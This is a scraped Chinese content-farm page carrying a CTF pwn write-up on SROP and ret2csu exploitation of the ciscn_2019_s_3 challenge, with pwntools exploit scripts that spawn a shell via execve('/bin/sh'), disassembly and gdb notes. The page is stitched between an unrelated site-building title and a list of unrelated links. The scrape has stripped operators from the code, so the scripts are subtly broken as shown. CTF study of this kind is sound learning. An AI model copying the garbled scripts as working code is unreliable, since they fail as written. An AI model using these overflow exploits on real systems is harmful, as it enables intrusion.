当前位置: 首页 > news >正文

想开一个网站开发的公司wordpress编辑空两格

想开一个网站开发的公司,wordpress编辑空两格,wordpress登录搜索,如何自己免费创建网站一、srop 参考文章-博客园-wudiiv11#xff08;作者#xff09;-BUUCTF-ciscn_2019_s_3 参考文章-博客园-z2yh#xff08;作者#xff09;-Srop 原理与利用方法 vlun函数中没有分配栈帧#xff08;指rsp没有增长#xff0c;也没有压入父函数的rbp#xff0c;这也导致…一、srop 参考文章-博客园-wudiiv11作者-BUUCTF-ciscn_2019_s_3 参考文章-博客园-z2yh作者-Srop 原理与利用方法 vlun函数中没有分配栈帧指rsp没有增长也没有压入父函数的rbp这也导致之后的构造payload的时候不需要填充rbp的那8个字节 首先看中间这一栏要找binsh的地址即写入参数的地址在read函数后打断点此时最上面一行rsprbp的这一行时写入地址0x10的位置在此时stack中找到一个栈上的地址减去offset 该地址 -rsp-0x10就是binsh addr 接下来验证 再看右侧这一栏打印出来binsh addr在最后测可以看到输出结果再在中间遮拦使用x/s命令查看该地址的内容验证确实为索要得到的内容 from pwn import * from LibcSearcher import * context(os linux, arch amd64, log_level debug) ifRemote 0 if ifRemote:io remote(node4.buuoj.cn,26390) else:io process(./ciscn_s_3) popRdiRet 0x4005a3 syscall_addr 0x400501 setRax 0x4004da main 0x4004ED mainWithoutStackSet 0x4004f1def debug():gdb.attach(io)pause() payload b/bin/sh\x00ba*(0x8) p64(main) io.send(payload)print(io.recv(len(payload)8)) binsh_addr u64(io.recv(8)) -0x148 print(hex(binsh_addr)) # debug() # payload bshsh\x00bb*(0x88) # io.sendline(payload) # print(io.recvall())frame SigreturnFrame() frame.rax 59 frame.rdi binsh_addr frame.rsi 0 frame.rdx 0 frame.rip syscall_addr payload ba*(0x108)p64(setRax)p64(syscall_addr)str(frame) io.sendline(payload) io.interactive()结果本地可以打通 远程打不通 使用以下命令修改文件的libc 如何使用patchelf修改文件libc参见 这篇文章的相应段落 patchelf --set-interpreter ~/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./ciscn_s_3 patchelf --replace-needed libc.so.6 /home/iront/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./ciscn_s_3 ps有个奇怪的地方是rsp的位置好像不在预期的地方这里没有进行深入的探究 找到写入的binsh的位置 发现先此时偏移量变为了0x118 修改后的exp其实只把0x148改成了0x118 二、ret2csu 参考博文CSDN-西杭作者-中级ROP之ret2csu __libc_csu_init函数: .text:00000000004011B0 ; void _libc_csu_init(void) .text:00000000004011B0 public __libc_csu_init .text:00000000004011B0 __libc_csu_init proc near ; DATA XREF: _start16↑o .text:00000000004011B0 ; __unwind { .text:00000000004011B0 push r15 .text:00000000004011B2 mov r15, rdx .text:00000000004011B5 push r14 .text:00000000004011B7 mov r14, rsi .text:00000000004011BA push r13 .text:00000000004011BC mov r13d, edi .text:00000000004011BF push r12 .text:00000000004011C1 lea r12, __frame_dummy_init_array_entry .text:00000000004011C8 push rbp .text:00000000004011C9 lea rbp, __do_global_dtors_aux_fini_array_entry .text:00000000004011D0 push rbx .text:00000000004011D1 sub rbp, r12 .text:00000000004011D4 sub rsp, 8 .text:00000000004011D8 call _init_proc .text:00000000004011DD sar rbp, 3 .text:00000000004011E1 jz short loc_4011FE .text:00000000004011E3 xor ebx, ebx .text:00000000004011E5 nop dword ptr [rax] .text:00000000004011E8 .text:00000000004011E8 loc_4011E8: ; CODE XREF: __libc_csu_init4C↓j .text:00000000004011E8 mov rdx, r15 .text:00000000004011EB mov rsi, r14 .text:00000000004011EE mov edi, r13d .text:00000000004011F1 call qword ptr [r12rbx*8] .text:00000000004011F5 add rbx, 1 .text:00000000004011F9 cmp rbp, rbx .text:00000000004011FC jnz short loc_4011E8 .text:00000000004011FE .text:00000000004011FE loc_4011FE: ; CODE XREF: __libc_csu_init31↑j .text:00000000004011FE add rsp, 8 .text:0000000000401202 pop rbx .text:0000000000401203 pop rbp .text:0000000000401204 pop r12 .text:0000000000401206 pop r13 .text:0000000000401208 pop r14 .text:000000000040120A pop r15 .text:000000000040120C retn .text:000000000040120C ; } // starts at 4011B0 .text:000000000040120C __libc_csu_init endp gadgets1: .text:00000000004011FE loc_4011FE: ; CODE XREF: __libc_csu_init31↑j .text:00000000004011FE add rsp, 8 .text:0000000000401202 pop rbx .text:0000000000401203 pop rbp .text:0000000000401204 pop r12 .text:0000000000401206 pop r13 .text:0000000000401208 pop r14 .text:000000000040120A pop r15 .text:000000000040120C retn .text:000000000040120C ; } // starts at 4011B0 gadgets2 .text:00000000004011E8 loc_4011E8: ; CODE XREF: __libc_csu_init4C↓j .text:00000000004011E8 mov rdx, r15 .text:00000000004011EB mov rsi, r14 .text:00000000004011EE mov edi, r13d .text:00000000004011F1 call qword ptr [r12rbx*8] .text:00000000004011F5 add rbx, 1 .text:00000000004011F9 cmp rbp, rbx .text:00000000004011FC jnz short loc_4011E8 gadgets2 通用payload payload ba*(0x10) p64(main) io.send(payload) print(io.recv(len(payload)8)) binsh_addr u64(io.recv(8)) -0x118 print(hex(binsh_addr))# rdx r15;rsi r14;rdi(edi) r13;r12存放需要调用的函数地址的地址 setRaxForExecv 0x4004e2 # 有些exp中用的是0x40059A就是一个add esp 8的区别那么相应的就在构造payload的时候少填充一个8字节下面涉及到再说 first_csu 0x400596 second_csu 0x400580 def ret_csu():#构造栈溢出点的paddingpayload /bin/sh\x00 p64(setRaxForExecv)# 下面这行填充的p64(0)就是为了填充add rsp, 8#first_csu为gadgets1的地址payload p64(first_csu) p64(0)#使得gadgets2中的while循环能够退出不至于死循环payload p64(0) p64(1) # rbx0, rbp1 # 这里是用作gadget2中的call指令call [r12rbx*8]# 由于rbx设置为0所以r12的地址处应存放一个gadget的地址# 这里设置r12的值为 binsh_addr 8,binsh_addr8处存放将rax设置为execv系统调用号的gadgetpayload p64(binsh_addr8) # r12 #三个参数的寄存器payload p64(0)*3 # r13 r14 r15# gadgets2的地址payload p64(second_csu)#gadgets2结束后再次执行gadgets1中的内容会pop出的6个栈的内容到寄存器1个add esp8所以paddding的内容为7*8长度payload p64(0)*7#函数最后的返回地址payload p64(popRdiRet) p64(binsh_addr)payload p64(syscall_addr)return payloadret2csu动态调试 从动态调试角度解释上述脚本构造原因 在这里设下断点开始调试 程序停在这里ps我wsl这台机器里需要在输入命令的界面非gdb界面按下两次回车才能开始在gdb中继续调试程序 一路ni到ret指令程序执行流被劫持到csu_init函数的gadget1位置 这里执行一次add rsp 8将栈抬高了8字节用p64(0)填充上然后为rbprbx赋值分别为10原因之后遇到了相关判断再分析 接下来pop r12r12是用于接下来的call指令的 在接下来连续三个pop r13,r14,r15分别对应rdxrsirdi的值都赋值为0即可execve的第2、3个参数分别为rsi、rdx均需要为0,所以此处对应p64(0)*3 继续ni到gadget1的ret 此时执行了call指令执行为rax赋值的操作 执行完rax赋值之后回到gadgets2中 此时进行cmp比较rbxrbp1如果不相等则回到循环这也是为什么payload中设置rbp 1rbx 0 在接下来程序执行一个rsp 8和6个pop 所以payload中填充p64(0)*7 再接着就继续执行到pop rdi和syscall了
http://www.hkea.cn/news/14437779/

相关文章:

  • 主视觉设计网站ppt软件下载免费版
  • 国内免费图片素材网站快手直播间挂人气自助网站
  • 方便做流程图的网站做房产网站哪个好
  • 网站建设售后回访话术物流企业网站织梦模板
  • 郑州定制网站推广工具产品北京 网站设计公司
  • 网站稳定性网络推广网站推广方法
  • 企业网站建设规划设计任务书跨境平台哪个最好做?
  • 做外贸的网站开店流程开源阅读app
  • 商城网站建设预算要多少钱广东网络建设有限公司
  • 怎么在百度做网站网站建设 系统 排名
  • 免费app大全下载郑州网站优化汉狮网络
  • 不花钱怎么做网站运营谷歌下载安装
  • 在网上帮做图片的网站汕头网站建设方法
  • 江门网站建设junke100域名暂无法进行网站备案
  • 松溪网站建设wordpress获取作者
  • 网站设计培训班哪家好长宁专业做网站
  • 海南百度推广中心惠州做网站乐云seo
  • 网站建设和维护pdf网站建设项目实训报告
  • 企业网站建设具体步骤wordpress媒体选项
  • 知识竞赛网站建设方案策划书上高县城乡规划建设局网站
  • 怎么收录网站网站打不开 清理缓存后可以打开
  • 专门做酒店设计的网站个人做网站开发
  • 网站建设课程设计报告长春师范大学
  • 河南建设厅网站建设项目查询网站
  • wordpress 回收站在哪wordpress自带jquery
  • 青岛网站关键词重庆专业的网站服务公司
  • 阿里云服务器可以做网站模拟网站建设软件有哪些
  • 仙居谁认识做网站的搜索图片
  • 做网站要准备的需求可以做任务的网站有哪些
  • 做网站时尺寸多大网站菜单 网站导航